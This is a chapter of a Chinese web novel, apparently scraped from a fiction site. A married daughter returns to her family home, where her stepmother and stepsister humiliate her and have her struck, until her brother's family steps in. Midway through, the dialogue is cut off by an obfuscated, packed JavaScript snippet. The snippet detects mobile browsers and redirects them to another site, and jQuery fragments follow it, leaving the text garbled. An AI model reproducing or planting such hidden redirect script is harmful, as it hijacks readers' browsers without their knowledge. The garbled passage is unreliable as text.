185. 刁难

作品:《宁为主母

    不知不觉,已入了深秋。


    昌平侯府世子爷新纳了姨娘,沈宁音这个世子夫人避出去十好几日。后宅多私话,当初传言沈宁音有多受宠,如今便有人带着幸灾乐祸猜测着她失宠得多彻底。


    恩爱那么高调,现如今不足一年便新人换旧人了。


    就连她的甩手避开,也叫人觉着是她恃宠而骄在使小性,怕不是鱼死网破,要自食恶果了。


    沈宁音回去前一天就歇在城外的客栈里头,养精蓄锐的同时把那些个坊间传闻都过了一遍耳朵。


    兰香心疼得红了眼圈,沈宁音这当事人却很镇定。


    翌日清晨,她挑了一套光鲜的百迭裙便往外头去。登了车,车夫问询,沈宁音声线恬淡:“回沈家。”


    兰香一听,惊得拿不稳手炉,她飞快将手炉塞进沈宁音怀里,忙不迭劝:“少夫人,奴婢嘴笨,昨儿是气着急了,您可不能使性子!”


    兰香见她不语,心下更着急,苦口婆心道:“现如今的情况,您要是生气不肯回去侯府,非但外头人等着看您笑话,那侯府里头的狐狸精也要称心如意了!”


    这时,沈宁音才转过头来,脸上竟带着浅笑,她拉着兰香的手拍了拍:“傻丫头,你跟随我那么久,还不清楚我的脾气?”


    “我嫁去侯府,原也不是为着琴瑟和鸣的。又岂会为着世子纳妾就乱了分寸、做争风吃醋之事?”


    兰香细细打量,见主子神色认真,不像是使性子,她这才放下了心。兰香性子不似染竹稳重,却最是叫沈宁音省心,只办事、不询问。


    马车就这么堂而皇之地进了侍郎府。


    沈定山一听着女儿回上京,当下便匆匆忙忙回了家。一进明间,便瞧见二女儿跪在堂下。


    上首罗汉床上坐着的,是神色阴沉的沈夫人。沈弦思就坐在她旁边儿。


    “这是怎么的?”沈定山的声音从门口传进来,屋子里的女人们尽都回过头去看他,除了沈宁音。


    “老爷,你可算是回来了。”沈夫人一改将才泼妇般的面孔,扯出个笑迎上来:“今儿是弦思回门。”


    沈弦思如今也嫁了,嫁的是户部侍郎家的朱七郎,赶巧的三日回门。


    沈宁音抬头看了过去,沈弦思在那瞬间挺了挺胸膛,露出个倨傲的神色来。


    现如今,沈弦思哪怕手段不光彩,可她嫁了个掌着实权的门楣,户部侍郎朱家,不光老子是侍郎,另几个儿子也都十分出色。任谁看着都是极好的亲事。反观沈宁音,成婚不足两月,夫君业已纳妾。


    这不光是失宠的事儿了,在旁人看来,几乎算是打沈家的脸面。


    而最最叫沈定山夫妇恼火的是,秦耀阳纳的非但是个良妾,还是个娘家正得势的贵妾。


    沈宁音没留下钳制小妾,反而成事不足败事有余地躲了出去!


    沈夫人这次再不像从前一般有顾忌,叫人强压着沈宁音罚跪。


    而此刻的沈定山也像是没瞧见二女儿跪在地上般径直走到沈弦思让出的座位坐下。


    沈弦思幸灾乐祸,等着沈宁音惊慌失措,等着她丑态百出,可等来的,只有沈宁音似笑非笑的表情。沈弦思心里没顺了气,反倒堵得慌。


    “放肆!你还笑得出来!”沈夫人抬手将茶杯扔了出去,一声刺耳的破碎声,茶水混着碎瓷迸溅,两三个口子在沈宁音白皙的手上绽开。


    沈宁音皮肤奶白尤为细嫩,鲜血红得刺眼。沈夫人看她鲜血蜿蜒,也慌了神,瞟了一眼沈定山,发现他只是不紧不慢地在喝茶。


    沈夫人放了心,当下便放开了胆子发作,她站起身指着沈宁音的鼻子:“真真是上不得台面的东西!白教你那么些年,连自家男人的□□都管束不住!要你何用?现在好了!你叫你夫君弃了,还敢来侍郎府,指望不上你帮衬,还要给家里添麻烦!”


    沈弦思笑得更璀璨了,起身扶着沈夫人,给她拍背顺气,语气甜糯阴阳怪气:“母亲~您别让有些人气坏了身子,毕竟骨子里就不是咱们家的人,她哪里会管咱们家的前程?母亲,没了她,您和爹爹还有我呢……”


    沈夫人听着沈弦思的话,愈发觉着熨帖,春风满面地笑着点头:“正是如此。”沈夫人拉着沈弦思的手,笑着冲沈定山道:“老爷您看,还是咱们弦思知道向着娘家,回门时还带了好些时令蔬果,心意再真挚不过了。”


    沈宁音心中嘲讽,嫌弃地哼出了声。


    这下,连沈定山都皱紧了眉:“真是反了天了,你眼里还有没有我这个父亲,还有没有沈家?”


    新仇旧恨,沈宁音这个没有血缘关系的棋子一夕之间成了“弃子”,沈夫人哪有不报复的?当下也冷笑一声:“你嫁人不过数日,如今失了恩宠,不想着自省,抢回夫婿,反而在这拿乔,你当真以为本夫人制不住你了?我告诉你!你只要是侍郎府名义嫁出去的姑娘,就一辈子都归咱们压着!”


    “来人!”沈夫人眼底露出冰冷,两个婆子走上前听吩咐,沈夫人道:“把她拖出去!打烂她的嘴!”


    两个婆子吃了一惊,沈宁音之前回门时候的排场沈家下人都犹在昨日,再加上沈宁音是侯门主母,从前的威名听得很多,要真把人拖下去打板子,她们还是心里犯怵的。


    无他,怕贵主子们事后报复。


    做高门奴婢的,主子们过孽,死得最惨遭殃最深的,永远是她们这些替罪羊。


    婆子们脑子转得快,既然不能违拗沈夫人、又开罪不起侯府少夫人,那就要看看沈定山的脸色了。


    她们偷偷瞧了一眼,沈定山脸色阴沉、也不说话。


    这是默认了。她们就都快步走到沈宁音身旁,伸手将人从地上扯起来。


    谁料想,沈宁音起来后身形突然一动,她用力推开二人,还往后避过了婆子们再伸来的手。


    “还敢躲?”沈弦思冷笑,添油加醋吩咐:“快抓住她!”


    堂屋虽宽敞,却也不是沈宁音能逃脱的。她索性就站在原地。


    当两只不同的手抓上她左右肩膀的刹那,沈宁音笑着看向沈夫人:“母亲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036775|146125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,您可别后悔!”


    沈宁音这一嗓子让沈弦思发笑,这侍郎府里的仆从丫鬟,没有一个会听沈宁音的话,过去不听,现在也一样。


    想着侯府带过来的人这会儿都被留在府邸深处,沈夫人与沈弦思心里都很松快,恶意便更深、更恶。


    “小贱人!别以为去了一趟阮家就有人给你撑腰了,你离了咱们沈家,什么都不是!”


    婆子们抬手揪着沈宁音的皮肉,这刁钻的力道疼及骨子里,沈宁音却只是皱了皱眉。


    另一个嬷嬷站到她跟前,捋高了袖子。


    “打!给我狠狠地打!”


    沈夫人一声令下,沈宁音蓦地喊:“慢着!”


    沈夫人冷笑:“死到临头还想说个什么?”她冲婆子道:“莫要听她说话,你只管先打!”


    沈宁音咬紧牙,闭上眼睛。


    “慢着!”


    嬷嬷并没有理会门口突如其来的声音,一巴掌真打了下去,但因着影响,她并不敢尽全力。饶是如此,沈宁音脸颊也被打出了指印。


    “姑姑!”沈玉珠的声音带着哭腔,很快,小姑娘就推开婆子们扑进了沈宁音的怀里。


    “你好大的胆子!”蔡氏气得脖子发红,用尽全力还了一巴掌给那动手的嬷嬷。


    婆子惨叫一声,捂着脸滚到地上,脸当场就肿了起来。


    蔡氏拉开沈玉珠,紧张地拉着沈宁音的手关切,大哥沈远淮也询问:“宁音,你没事吧?”


    蔡氏瞪了自家男人一眼:“怎么可能没事?”


    沈远淮尴尬之际,上首传来沈夫人愤怒的声音:“你放肆!”沈夫人冲蔡氏道:“这没你说话的份!”


    蔡氏常年在她手底下讨生活,早压了一肚子火气:“婆母!宁音好歹是咱们家长大的女娘,现如今回了娘家,咱们岂能落井下石?”


    沈夫人冷笑一声,叉着腰,怒道:“真真是倒反天罡了,你一个媳妇反数落起婆母来了!跪下!”


    蔡氏冷着脸,偏是不跪,沈夫人想故技重施像对付沈宁音一般压着儿媳下跪,可眼下蔡氏可不是只身一人来的沈宁音,沈远淮与女儿沈玉珠就站在一旁。


    那边厢婆子们得了吩咐,这头的沈远淮已经攥紧拳头站在了蔡氏母女身前。


    “我看谁敢动!”沈远淮一声大喝。婆子们、沈夫人、沈弦思便也都没了气焰。


    作为侍郎府的大郎君,又不是沈夫人亲生,他站出来要护着妻女与沈宁音,还真没人敢造次。


    沈夫人脸色难看:“远淮,弦思才是你的妹妹,你怎的胳膊肘往外拐?”沈夫人说了这句之后,又将目光看向了沈定山:“老爷,您瞧瞧,她们一个个都不把我这做母亲的放在眼里了!都怪那沈宁音!”


    沈定山看着继妻抹眼泪的模样,皱了皱眉,可抬眼时候瞥见沈宁音,怒火又噌地冒上去了。


    沈玉珠正拿帕子给沈宁音擦拭手背上的伤口,沈定山的声音沉沉响起:“淮儿,这没你们的事!还不把你媳妇和玉姐儿牵走!”